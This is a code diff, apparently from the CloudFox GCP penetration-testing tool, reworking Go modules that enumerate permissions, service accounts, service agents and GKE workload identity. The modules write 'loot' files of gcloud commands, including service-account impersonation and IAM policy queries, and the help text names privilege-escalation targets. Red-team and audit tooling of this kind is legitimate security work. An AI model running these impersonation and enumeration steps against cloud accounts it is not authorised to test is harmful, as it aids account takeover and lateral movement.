func (m *PermissionsModule) collectLootFilesForProject(projectID string) []internal.LootFile {
|
||||
var lootFiles []internal.LootFile
|
||||
|
||||
combinedLoot := &internal.LootFile{
|
||||
Name: "permissions-commands",
|
||||
Contents: "# GCP Permissions Commands\n# Generated by CloudFox\n\n",
|
||||
}
|
||||
|
||||
// Get ancestry for this project
|
||||
var projectOrgID string
|
||||
var ancestorFolders []string
|
||||
if m.OrgCache != nil && m.OrgCache.IsPopulated() {
|
||||
projectOrgID = m.OrgCache.GetProjectOrgID(projectID)
|
||||
ancestorFolders = m.OrgCache.GetProjectAncestorFolders(projectID)
|
||||
}
|
||||
|
||||
// Add org-level loot if this project belongs to an org
|
||||
if projectOrgID != "" {
|
||||
if loot, ok := m.OrgLoot[projectOrgID]; ok && loot != nil && loot.Contents != "" {
|
||||
combinedLoot.Contents += fmt.Sprintf("# === Inherited from Organization: %s ===\n", projectOrgID)
|
||||
lines := strings.Split(loot.Contents, "\n")
|
||||
for i, line := range lines {
|
||||
if i >= 2 {
|
||||
combinedLoot.Contents += line + "\n"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add folder-level loot for ancestor folders (in order from org to project)
|
||||
// Reverse the slice to go from org-level folders to project-level folders
|
||||
for i := len(ancestorFolders) - 1; i >= 0; i-- {
|
||||
folderID := ancestorFolders[i]
|
||||
if loot, ok := m.FolderLoot[folderID]; ok && loot != nil && loot.Contents != "" {
|
||||
combinedLoot.Contents += fmt.Sprintf("# === Inherited from Folder: %s ===\n", folderID)
|
||||
lines := strings.Split(loot.Contents, "\n")
|
||||
for i, line := range lines {
|
||||
if i >= 2 {
|
||||
combinedLoot.Contents += line + "\n"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add project-level loot
|
||||
if loot, ok := m.ProjectLoot[projectID]; ok && loot != nil && loot.Contents != "" {
|
||||
combinedLoot.Contents += fmt.Sprintf("# === Project: %s ===\n", projectID)
|
||||
lines := strings.Split(loot.Contents, "\n")
|
||||
for i, line := range lines {
|
||||
if i >= 2 {
|
||||
combinedLoot.Contents += line + "\n"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Only add if there's actual content beyond the header
|
||||
if len(combinedLoot.Contents) > 50 {
|
||||
lootFiles = append(lootFiles, *combinedLoot)
|
||||
}
|
||||
|
||||
return lootFiles
|
||||
}
|
||||
|
||||
// generateEnumerationLoot generates commands to enumerate permissions
|
||||
func (m *PermissionsModule) generateEnumerationLoot() {
|
||||
loot := m.EnumLoot
|
||||
@@ -838,12 +1043,6 @@ func (m *PermissionsModule) writeOutput(ctx context.Context, logger internal.Log
|
||||
func (m *PermissionsModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
header := m.getTableHeader()
|
||||
|
||||
// Build hierarchical output data
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Determine org ID - prefer discovered orgs, fall back to hierarchy
|
||||
orgID := ""
|
||||
if len(m.OrgIDs) > 0 {
|
||||
@@ -852,23 +1051,26 @@ func (m *PermissionsModule) writeHierarchicalOutput(ctx context.Context, logger
|
||||
orgID = m.Hierarchy.Organizations[0].ID
|
||||
}
|
||||
|
||||
// Collect all loot files
|
||||
var allLootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n\n") {
|
||||
allLootFiles = append(allLootFiles, *loot)
|
||||
}
|
||||
}
|
||||
// Collect all loot files for org-level output
|
||||
allLootFiles := m.collectAllLootFiles()
|
||||
|
||||
// Get all permissions for output
|
||||
allPerms := m.getAllExplodedPerms()
|
||||
|
||||
// Check if we should use single-pass tee streaming for large datasets
|
||||
if orgID != "" && len(allPerms) >= 50000 {
|
||||
m.writeHierarchicalOutputTee(ctx, logger, orgID, header, allPerms, allLootFiles)
|
||||
return
|
||||
}
|
||||
// Add enumeration loot file
|
||||
if m.EnumLoot != nil && m.EnumLoot.Contents != "" {
|
||||
allLootFiles = append(allLootFiles, *m.EnumLoot)
|
||||
|
||||
// Standard output path for smaller datasets
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
if orgID != "" {
|
||||
// DUAL OUTPUT: Complete aggregated output at org level
|
||||
allPerms := m.getAllExplodedPerms()
|
||||
body := m.permsToTableBody(allPerms)
|
||||
tables := []internal.TableFile{{
|
||||
Name: "permissions",
|
||||
@@ -877,7 +1079,7 @@ func (m *PermissionsModule) writeHierarchicalOutput(ctx context.Context, logger
|
||||
}}
|
||||
outputData.OrgLevelData[orgID] = PermissionsOutput{Table: tables, Loot: allLootFiles}
|
||||
|
||||
// DUAL OUTPUT: Filtered per-project output
|
||||
// DUAL OUTPUT: Filtered per-project output with inherited loot
|
||||
for projectID, perms := range m.ProjectPerms {
|
||||
if len(perms) == 0 {
|
||||
continue
|
||||
@@ -888,11 +1090,12 @@ func (m *PermissionsModule) writeHierarchicalOutput(ctx context.Context, logger
|
||||
Header: header,
|
||||
Body: body,
|
||||
}}
|
||||
outputData.ProjectLevelData[projectID] = PermissionsOutput{Table: tables, Loot: nil}
|
||||
// Get loot for this project with inheritance (org + folders + project)
|
||||
projectLoot := m.collectLootFilesForProject(projectID)
|
||||
outputData.ProjectLevelData[projectID] = PermissionsOutput{Table: tables, Loot: projectLoot}
|
||||
}
|
||||
} else if len(m.ProjectIDs) > 0 {
|
||||
// FALLBACK: No org discovered, output complete data to first project
|
||||
allPerms := m.getAllExplodedPerms()
|
||||
body := m.permsToTableBody(allPerms)
|
||||
tables := []internal.TableFile{{
|
||||
Name: "permissions",
|
||||
@@ -920,6 +1123,94 @@ func (m *PermissionsModule) writeHierarchicalOutput(ctx context.Context, logger
|
||||
}
|
||||
}
|
||||
|
||||
// writeHierarchicalOutputTee uses single-pass streaming for large datasets.
|
||||
// It streams through all permissions once, writing each row to:
|
||||
// 1. The org-level output (always)
|
||||
// 2. The appropriate project-level output based on EffectiveProject
|
||||
func (m *PermissionsModule) writeHierarchicalOutputTee(ctx context.Context, logger internal.Logger, orgID string, header []string, allPerms []ExplodedPermission, lootFiles []internal.LootFile) {
|
||||
logger.InfoM(fmt.Sprintf("Using single-pass tee streaming for %d permissions", len(allPerms)), globals.GCP_PERMISSIONS_MODULE_NAME)
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
// Build the table data
|
||||
body := m.permsToTableBody(allPerms)
|
||||
tables := []internal.TableFile{{
|
||||
Name: "permissions",
|
||||
Header: header,
|
||||
Body: body,
|
||||
}}
|
||||
|
||||
// Build reverse lookup: for each folder, which projects are under it
|
||||
// This allows O(1) lookup during row routing
|
||||
folderToProjects := make(map[string][]string)
|
||||
orgToProjects := make(map[string][]string)
|
||||
|
||||
if m.OrgCache != nil && m.OrgCache.IsPopulated() {
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
// Get the org this project belongs to
|
||||
projectOrgID := m.OrgCache.GetProjectOrgID(projectID)
|
||||
if projectOrgID != "" {
|
||||
orgToProjects[projectOrgID] = append(orgToProjects[projectOrgID], projectID)
|
||||
}
|
||||
|
||||
// Get all ancestor folders for this project
|
||||
ancestorFolders := m.OrgCache.GetProjectAncestorFolders(projectID)
|
||||
for _, folderID := range ancestorFolders {
|
||||
folderToProjects[folderID] = append(folderToProjects[folderID], projectID)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Create a row router that routes based on scope type and OrgCache
|
||||
rowRouter := func(row []string) []string {
|
||||
// Row format: [ScopeType, ScopeID, ScopeName, EntityType, Identity, Permission, ...]
|
||||
scopeType := row[0]
|
||||
scopeID := row[1]
|
||||
|
||||
switch scopeType {
|
||||
case "project":
|
||||
// Direct project permission - route to that project only
|
||||
return []string{scopeID}
|
||||
case "organization":
|
||||
// Org permission - route to all projects under this org
|
||||
if projects, ok := orgToProjects[scopeID]; ok {
|
||||
return projects
|
||||
}
|
||||
// Fallback if OrgCache not populated: route to all projects
|
||||
return m.ProjectIDs
|
||||
case "folder":
|
||||
// Folder permission - route to all projects under this folder
|
||||
if projects, ok := folderToProjects[scopeID]; ok {
|
||||
return projects
|
||||
}
|
||||
// Fallback if folder not in cache: route to all projects
|
||||
return m.ProjectIDs
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// Use the tee streaming function
|
||||
config := internal.TeeStreamingConfig{
|
||||
OrgID: orgID,
|
||||
ProjectIDs: m.ProjectIDs,
|
||||
Tables: tables,
|
||||
LootFiles: lootFiles,
|
||||
ProjectLootCollector: m.collectLootFilesForProject,
|
||||
RowRouter: rowRouter,
|
||||
PathBuilder: pathBuilder,
|
||||
Format: m.Format,
|
||||
Verbosity: m.Verbosity,
|
||||
Wrap: m.WrapTable,
|
||||
}
|
||||
|
||||
err := internal.HandleHierarchicalOutputTee(config)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing tee streaming output: %v", err), globals.GCP_PERMISSIONS_MODULE_NAME)
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
}
|
||||
|
||||
// writeFlatOutput writes all output to a single directory (legacy mode)
|
||||
func (m *PermissionsModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
header := m.getTableHeader()
|
||||
@@ -938,19 +1229,8 @@ func (m *PermissionsModule) writeFlatOutput(ctx context.Context, logger internal
|
||||
return body[i][5] < body[j][5]
|
||||
})
|
||||
|
||||
// Collect all loot files
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
// Add enumeration loot file
|
||||
if m.EnumLoot != nil && m.EnumLoot.Contents != "" {
|
||||
lootFiles = append(lootFiles, *m.EnumLoot)
|
||||
}
|
||||
// Collect all loot files for flat output
|
||||
lootFiles := m.collectAllLootFiles()
|
||||
|
||||
tables := []internal.TableFile{{
|
||||
Name: "permissions",
|
||||
|
||||
Regular → Executable
+615
-268
File diff suppressed because it is too large.
Load diff
@@ -337,51 +337,38 @@ func (m *ServiceAccountsModule) addServiceAccountToLoot(projectID string, sa Ser
|
||||
|
||||
keyFileName := strings.Split(sa.Email, "@")[0]
|
||||
|
||||
// Build summary info
|
||||
dwdStatus := "No"
|
||||
if sa.OAuth2ClientID != "" {
|
||||
dwdStatus = fmt.Sprintf("Yes (Client ID: %s)", sa.OAuth2ClientID)
|
||||
}
|
||||
|
||||
defaultSAInfo := "No"
|
||||
if sa.IsDefaultSA {
|
||||
defaultSAInfo = fmt.Sprintf("Yes (%s)", sa.DefaultSAType)
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# ==========================================\n"+
|
||||
"# SERVICE ACCOUNT: %s\n"+
|
||||
"# ==========================================\n"+
|
||||
"# Project: %s\n"+
|
||||
"# Display Name: %s\n"+
|
||||
"# Disabled: %v\n"+
|
||||
"# Default SA: %s\n"+
|
||||
"# DWD Enabled: %s\n",
|
||||
"# ==========================================\n",
|
||||
sa.Email,
|
||||
projectID,
|
||||
sa.DisplayName,
|
||||
sa.Disabled,
|
||||
defaultSAInfo,
|
||||
dwdStatus,
|
||||
)
|
||||
|
||||
// Add key summary
|
||||
if sa.DisplayName != "" {
|
||||
lootFile.Contents += fmt.Sprintf("# Display Name: %s\n", sa.DisplayName)
|
||||
}
|
||||
if sa.Disabled {
|
||||
lootFile.Contents += "# DISABLED\n"
|
||||
}
|
||||
if sa.IsDefaultSA {
|
||||
lootFile.Contents += fmt.Sprintf("# Default SA: %s\n", sa.DefaultSAType)
|
||||
}
|
||||
if sa.OAuth2ClientID != "" {
|
||||
lootFile.Contents += fmt.Sprintf("# DWD Enabled (Client ID: %s)\n", sa.OAuth2ClientID)
|
||||
}
|
||||
|
||||
// Add key summary - only show if keys exist
|
||||
userKeyCount := 0
|
||||
googleKeyCount := 0
|
||||
for _, key := range sa.Keys {
|
||||
if key.KeyType == "USER_MANAGED" {
|
||||
userKeyCount++
|
||||
} else if key.KeyType == "SYSTEM_MANAGED" {
|
||||
googleKeyCount++
|
||||
}
|
||||
}
|
||||
lootFile.Contents += fmt.Sprintf("# User Managed Keys: %d\n", userKeyCount)
|
||||
lootFile.Contents += fmt.Sprintf("# Google Managed Keys: %d\n", googleKeyCount)
|
||||
if sa.OldestKeyAge > 0 {
|
||||
lootFile.Contents += fmt.Sprintf("# Oldest Key Age: %d days\n", sa.OldestKeyAge)
|
||||
if sa.OldestKeyAge > 90 {
|
||||
lootFile.Contents += "# WARNING: Key older than 90 days - rotation recommended\n"
|
||||
}
|
||||
if userKeyCount > 0 {
|
||||
lootFile.Contents += fmt.Sprintf("# User Managed Keys: %d\n", userKeyCount)
|
||||
}
|
||||
if sa.OldestKeyAge > 90 {
|
||||
lootFile.Contents += fmt.Sprintf("# WARNING: Key older than 90 days (%d days)\n", sa.OldestKeyAge)
|
||||
}
|
||||
|
||||
// Add impersonation info if available
|
||||
@@ -455,28 +442,6 @@ gcloud projects list --impersonate-service-account=%s
|
||||
`, sa.OAuth2ClientID, projectID, keyFileName)
|
||||
}
|
||||
|
||||
// Add section for old keys
|
||||
if sa.HasOldKeys {
|
||||
lootFile.Contents += fmt.Sprintf(`# === KEY ROTATION ===
|
||||
# This SA has keys older than 90 days (%d days)
|
||||
|
||||
# List keys with age
|
||||
gcloud iam service-accounts keys list --iam-account=%s --project=%s --format='table(name.basename(), keyType, validAfterTime, validBeforeTime)'
|
||||
|
||||
`, sa.OldestKeyAge, sa.Email, projectID)
|
||||
}
|
||||
|
||||
// Add section for default SA
|
||||
if sa.IsDefaultSA {
|
||||
lootFile.Contents += fmt.Sprintf(`# === DEFAULT SERVICE ACCOUNT ===
|
||||
# This is a %s default service account
|
||||
|
||||
# Check roles granted to this SA
|
||||
gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[] | select(.members[] | contains("%s")) | .role'
|
||||
|
||||
`, sa.DefaultSAType, projectID, sa.Email)
|
||||
}
|
||||
|
||||
lootFile.Contents += "\n"
|
||||
}
|
||||
|
||||
|
||||
+13
-108
@@ -49,10 +49,11 @@ TIP: Run foxmapper first to populate the Attack Paths column with privesc/exfil/
|
||||
type ServiceAgentsModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
ProjectAgents map[string][]serviceagentsservice.ServiceAgentInfo // projectID -> agents
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
FoxMapperCache *gcpinternal.FoxMapperCache // Cached FoxMapper analysis results
|
||||
mu sync.Mutex
|
||||
ProjectAgents map[string][]serviceagentsservice.ServiceAgentInfo // projectID -> agents
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
FoxMapperCache *gcpinternal.FoxMapperCache // Cached FoxMapper analysis results
|
||||
OrgCache *gcpinternal.OrgCache
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
@@ -91,6 +92,9 @@ func (m *ServiceAgentsModule) Execute(ctx context.Context, logger internal.Logge
|
||||
// Get FoxMapper cache from context
|
||||
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
|
||||
|
||||
// Get OrgCache for project number resolution
|
||||
m.OrgCache = gcpinternal.GetOrgCacheFromContext(ctx)
|
||||
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_SERVICEAGENTS_MODULE_NAME, m.processProject)
|
||||
|
||||
allAgents := m.getAllAgents()
|
||||
@@ -134,7 +138,7 @@ func (m *ServiceAgentsModule) processProject(ctx context.Context, projectID stri
|
||||
}
|
||||
|
||||
svc := serviceagentsservice.New()
|
||||
agents, err := svc.GetServiceAgents(projectID)
|
||||
agents, err := svc.GetServiceAgents(projectID, m.OrgCache)
|
||||
if err != nil {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.ErrorM(fmt.Sprintf("Error getting service agents: %v", err), globals.GCP_SERVICEAGENTS_MODULE_NAME)
|
||||
@@ -178,32 +182,17 @@ func (m *ServiceAgentsModule) addAgentToLoot(projectID string, agent serviceagen
|
||||
crossProjectNote = " [CROSS-PROJECT from " + agent.SourceProject + "]"
|
||||
}
|
||||
|
||||
// Check for high-risk roles
|
||||
var highRiskRoles []string
|
||||
for _, role := range agent.Roles {
|
||||
riskLevel := getRiskLevel(role)
|
||||
if riskLevel != "-" {
|
||||
highRiskRoles = append(highRiskRoles, riskLevel)
|
||||
}
|
||||
}
|
||||
|
||||
highRiskNote := ""
|
||||
if len(highRiskRoles) > 0 {
|
||||
highRiskNote = " [HIGH RISK: " + strings.Join(highRiskRoles, ", ") + "]"
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# ==========================================\n"+
|
||||
"# SERVICE AGENT: %s%s%s\n"+
|
||||
"# SERVICE AGENT: %s%s\n"+
|
||||
"# ==========================================\n"+
|
||||
"# Email: %s\n"+
|
||||
"# Project: %s\n"+
|
||||
"# Description: %s\n",
|
||||
agent.ServiceName, crossProjectNote, highRiskNote,
|
||||
agent.Email, agent.ProjectID, agent.Description,
|
||||
agent.ServiceName, crossProjectNote,
|
||||
agent.Email, agent.Description,
|
||||
)
|
||||
|
||||
if agent.SourceProject != "" {
|
||||
if agent.IsCrossProject && agent.SourceProject != "" {
|
||||
lootFile.Contents += fmt.Sprintf("# Source Project: %s\n", agent.SourceProject)
|
||||
}
|
||||
|
||||
@@ -243,26 +232,6 @@ func (m *ServiceAgentsModule) writeOutput(ctx context.Context, logger internal.L
|
||||
}
|
||||
}
|
||||
|
||||
// High-risk roles that grant significant privileges
|
||||
var highRiskRoles = map[string]bool{
|
||||
"roles/owner": true,
|
||||
"roles/editor": true,
|
||||
"roles/iam.serviceAccountAdmin": true,
|
||||
"roles/iam.serviceAccountKeyAdmin": true,
|
||||
"roles/iam.serviceAccountTokenCreator": true,
|
||||
"roles/iam.serviceAccountUser": true,
|
||||
"roles/iam.workloadIdentityUser": true,
|
||||
"roles/compute.admin": true,
|
||||
"roles/compute.instanceAdmin": true,
|
||||
"roles/container.admin": true,
|
||||
"roles/cloudbuild.builds.editor": true,
|
||||
"roles/cloudfunctions.admin": true,
|
||||
"roles/run.admin": true,
|
||||
"roles/storage.admin": true,
|
||||
"roles/secretmanager.admin": true,
|
||||
"roles/cloudkms.admin": true,
|
||||
}
|
||||
|
||||
// getHeader returns the table header
|
||||
func (m *ServiceAgentsModule) getHeader() []string {
|
||||
return []string{
|
||||
@@ -272,71 +241,11 @@ func (m *ServiceAgentsModule) getHeader() []string {
|
||||
"Source Project",
|
||||
"Cross-Project",
|
||||
"Role",
|
||||
"Risk",
|
||||
"Attack Paths",
|
||||
"Description",
|
||||
}
|
||||
}
|
||||
|
||||
// getRiskLevel returns the risk level for a role
|
||||
// Returns the risk reason if high risk, or "-" if not
|
||||
func getRiskLevel(role string) string {
|
||||
// Check known high-risk roles
|
||||
riskReasons := map[string]string{
|
||||
"roles/owner": "Owner",
|
||||
"roles/editor": "Editor",
|
||||
"roles/iam.serviceAccountAdmin": "SA Admin",
|
||||
"roles/iam.serviceAccountKeyAdmin": "Key Admin",
|
||||
"roles/iam.serviceAccountTokenCreator": "Token Creator",
|
||||
"roles/iam.serviceAccountUser": "SA User",
|
||||
"roles/iam.workloadIdentityUser": "Workload ID",
|
||||
"roles/compute.admin": "Compute Admin",
|
||||
"roles/compute.instanceAdmin": "Instance Admin",
|
||||
"roles/compute.instanceAdmin.v1": "Instance Admin",
|
||||
"roles/container.admin": "GKE Admin",
|
||||
"roles/container.clusterAdmin": "Cluster Admin",
|
||||
"roles/cloudbuild.builds.editor": "Build Editor",
|
||||
"roles/cloudfunctions.admin": "Functions Admin",
|
||||
"roles/run.admin": "Run Admin",
|
||||
"roles/storage.admin": "Storage Admin",
|
||||
"roles/secretmanager.admin": "Secrets Admin",
|
||||
"roles/cloudkms.admin": "KMS Admin",
|
||||
"roles/bigquery.admin": "BigQuery Admin",
|
||||
"roles/pubsub.admin": "Pub/Sub Admin",
|
||||
"roles/logging.admin": "Logging Admin",
|
||||
"roles/resourcemanager.projectIamAdmin": "IAM Admin",
|
||||
"roles/resourcemanager.folderAdmin": "Folder Admin",
|
||||
"roles/resourcemanager.organizationAdmin": "Org Admin",
|
||||
}
|
||||
|
||||
if reason, ok := riskReasons[role]; ok {
|
||||
return reason
|
||||
}
|
||||
|
||||
// Check for admin/owner patterns
|
||||
if strings.HasSuffix(role, ".admin") {
|
||||
// Extract service name for cleaner output
|
||||
parts := strings.Split(role, "/")
|
||||
if len(parts) == 2 {
|
||||
serviceParts := strings.Split(parts[1], ".")
|
||||
if len(serviceParts) > 0 {
|
||||
// Capitalize first letter
|
||||
name := serviceParts[0]
|
||||
if len(name) > 0 {
|
||||
return strings.ToUpper(name[:1]) + name[1:] + " Admin"
|
||||
}
|
||||
}
|
||||
}
|
||||
return "Admin Role"
|
||||
}
|
||||
|
||||
if strings.Contains(role, "Admin") {
|
||||
return "Admin Role"
|
||||
}
|
||||
|
||||
return "-"
|
||||
}
|
||||
|
||||
// writeHierarchicalOutput writes output to per-project directories
|
||||
func (m *ServiceAgentsModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
header := m.getHeader()
|
||||
@@ -464,8 +373,6 @@ func (m *ServiceAgentsModule) agentsToTableBody(agents []serviceagentsservice.Se
|
||||
// One row per role
|
||||
if len(agent.Roles) > 0 {
|
||||
for _, role := range agent.Roles {
|
||||
riskLevel := getRiskLevel(role)
|
||||
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(agent.ProjectID),
|
||||
agent.ServiceName,
|
||||
@@ -473,7 +380,6 @@ func (m *ServiceAgentsModule) agentsToTableBody(agents []serviceagentsservice.Se
|
||||
sourceProject,
|
||||
crossProject,
|
||||
role,
|
||||
riskLevel,
|
||||
attackPaths,
|
||||
agent.Description,
|
||||
})
|
||||
@@ -487,7 +393,6 @@ func (m *ServiceAgentsModule) agentsToTableBody(agents []serviceagentsservice.Se
|
||||
sourceProject,
|
||||
crossProject,
|
||||
"-",
|
||||
"-",
|
||||
attackPaths,
|
||||
agent.Description,
|
||||
})
|
||||
|
||||
@@ -8,18 +8,18 @@ import (
|
||||
|
||||
gkeservice "github.com/BishopFox/cloudfox/gcp/services/gkeService"
|
||||
IAMService "github.com/BishopFox/cloudfox/gcp/services/iamService"
|
||||
workloadidentityservice "github.com/BishopFox/cloudfox/gcp/services/workloadIdentityService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
iam "google.golang.org/api/iam/v1"
|
||||
)
|
||||
|
||||
var GCPWorkloadIdentityCommand = &cobra.Command{
|
||||
Use: globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME,
|
||||
Aliases: []string{"wi", "gke-identity", "workload-id"},
|
||||
Short: "Enumerate GKE Workload Identity and Workload Identity Federation",
|
||||
Long: `Enumerate Workload Identity configurations including GKE bindings and external identity federation.
|
||||
Short: "Enumerate GKE Workload Identity (K8s SA -> GCP SA bindings)",
|
||||
Long: `Enumerate GKE Workload Identity configurations and K8s-to-GCP service account bindings.
|
||||
|
||||
Features:
|
||||
- Lists GKE clusters with Workload Identity enabled
|
||||
@@ -28,27 +28,29 @@ Features:
|
||||
- Maps namespace/service account to GCP permissions
|
||||
- Detects overly permissive bindings
|
||||
|
||||
Workload Identity Federation (External Identities):
|
||||
- Lists Workload Identity Pools and Providers
|
||||
- Analyzes AWS, OIDC (GitHub Actions, GitLab CI), and SAML providers
|
||||
- Identifies risky provider configurations (missing attribute conditions)
|
||||
- Shows federated identity bindings to GCP service accounts
|
||||
- Generates exploitation commands for pentesting`,
|
||||
Security Considerations:
|
||||
- K8s pods with Workload Identity inherit all permissions of the bound GCP SA
|
||||
- High-privilege GCP SAs bound to K8s SAs are prime escalation targets
|
||||
- Any pod in the namespace/SA can assume the GCP identity
|
||||
|
||||
TIP: Run 'identity-federation' to enumerate external identity federation (GitHub Actions, AWS, GitLab CI, etc.).
|
||||
TIP: Run 'gke' to see full cluster security configuration and node pool details.
|
||||
TIP: Run foxmapper first to populate the Attack Paths column with privesc/exfil/lateral movement analysis.`,
|
||||
Run: runGCPWorkloadIdentityCommand,
|
||||
}
|
||||
|
||||
// WorkloadIdentityBinding represents a binding between K8s SA and GCP SA
|
||||
type WorkloadIdentityBinding struct {
|
||||
ProjectID string `json:"projectId"`
|
||||
ClusterName string `json:"clusterName"`
|
||||
ClusterLocation string `json:"clusterLocation"`
|
||||
WorkloadPool string `json:"workloadPool"`
|
||||
KubernetesNS string `json:"kubernetesNamespace"`
|
||||
KubernetesSA string `json:"kubernetesServiceAccount"`
|
||||
GCPServiceAccount string `json:"gcpServiceAccount"`
|
||||
GCPSARoles []string `json:"gcpServiceAccountRoles"`
|
||||
IsHighPrivilege bool `json:"isHighPrivilege"`
|
||||
BindingType string `json:"bindingType"` // "workloadIdentityUser" or "other"
|
||||
ProjectID string `json:"projectId"`
|
||||
ClusterName string `json:"clusterName"`
|
||||
ClusterLocation string `json:"clusterLocation"`
|
||||
WorkloadPool string `json:"workloadPool"`
|
||||
KubernetesNS string `json:"kubernetesNamespace"`
|
||||
KubernetesSA string `json:"kubernetesServiceAccount"`
|
||||
GCPServiceAccount string `json:"gcpServiceAccount"`
|
||||
GCPSARoles []string `json:"gcpServiceAccountRoles"`
|
||||
IsHighPrivilege bool `json:"isHighPrivilege"`
|
||||
BindingType string `json:"bindingType"` // "workloadIdentityUser" or "other"
|
||||
}
|
||||
|
||||
// ClusterWorkloadIdentity represents a cluster's workload identity configuration
|
||||
@@ -63,24 +65,20 @@ type ClusterWorkloadIdentity struct {
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Struct with embedded BaseGCPModule
|
||||
// Module Struct
|
||||
// ------------------------------
|
||||
type WorkloadIdentityModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
// Module-specific fields (GKE Workload Identity) - per-project for hierarchical output
|
||||
ProjectClusters map[string][]ClusterWorkloadIdentity // projectID -> clusters
|
||||
ProjectBindings map[string][]WorkloadIdentityBinding // projectID -> bindings
|
||||
ProjectPools map[string][]workloadidentityservice.WorkloadIdentityPool // projectID -> pools
|
||||
ProjectProviders map[string][]workloadidentityservice.WorkloadIdentityProvider // projectID -> providers
|
||||
ProjectFederatedBindings map[string][]workloadidentityservice.FederatedIdentityBinding // projectID -> federated bindings
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
FoxMapperCache *gcpinternal.FoxMapperCache // FoxMapper cache for attack path analysis
|
||||
mu sync.Mutex
|
||||
ProjectClusters map[string][]ClusterWorkloadIdentity // projectID -> clusters
|
||||
ProjectBindings map[string][]WorkloadIdentityBinding // projectID -> bindings
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
FoxMapperCache *gcpinternal.FoxMapperCache
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Struct implementing CloudfoxOutput interface
|
||||
// Output Struct
|
||||
// ------------------------------
|
||||
type WorkloadIdentityOutput struct {
|
||||
Table []internal.TableFile
|
||||
@@ -94,24 +92,18 @@ func (o WorkloadIdentityOutput) LootFiles() []internal.LootFile { return o.Loo
|
||||
// Command Entry Point
|
||||
// ------------------------------
|
||||
func runGCPWorkloadIdentityCommand(cmd *cobra.Command, args []string) {
|
||||
// Initialize command context
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME)
|
||||
if err != nil {
|
||||
return // Error already logged
|
||||
return
|
||||
}
|
||||
|
||||
// Create module instance
|
||||
module := &WorkloadIdentityModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectClusters: make(map[string][]ClusterWorkloadIdentity),
|
||||
ProjectBindings: make(map[string][]WorkloadIdentityBinding),
|
||||
ProjectPools: make(map[string][]workloadidentityservice.WorkloadIdentityPool),
|
||||
ProjectProviders: make(map[string][]workloadidentityservice.WorkloadIdentityProvider),
|
||||
ProjectFederatedBindings: make(map[string][]workloadidentityservice.FederatedIdentityBinding),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectClusters: make(map[string][]ClusterWorkloadIdentity),
|
||||
ProjectBindings: make(map[string][]WorkloadIdentityBinding),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
|
||||
// Execute enumeration
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
@@ -119,54 +111,34 @@ func runGCPWorkloadIdentityCommand(cmd *cobra.Command, args []string) {
|
||||
// Module Execution
|
||||
// ------------------------------
|
||||
func (m *WorkloadIdentityModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
// Get FoxMapper cache from context
|
||||
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
|
||||
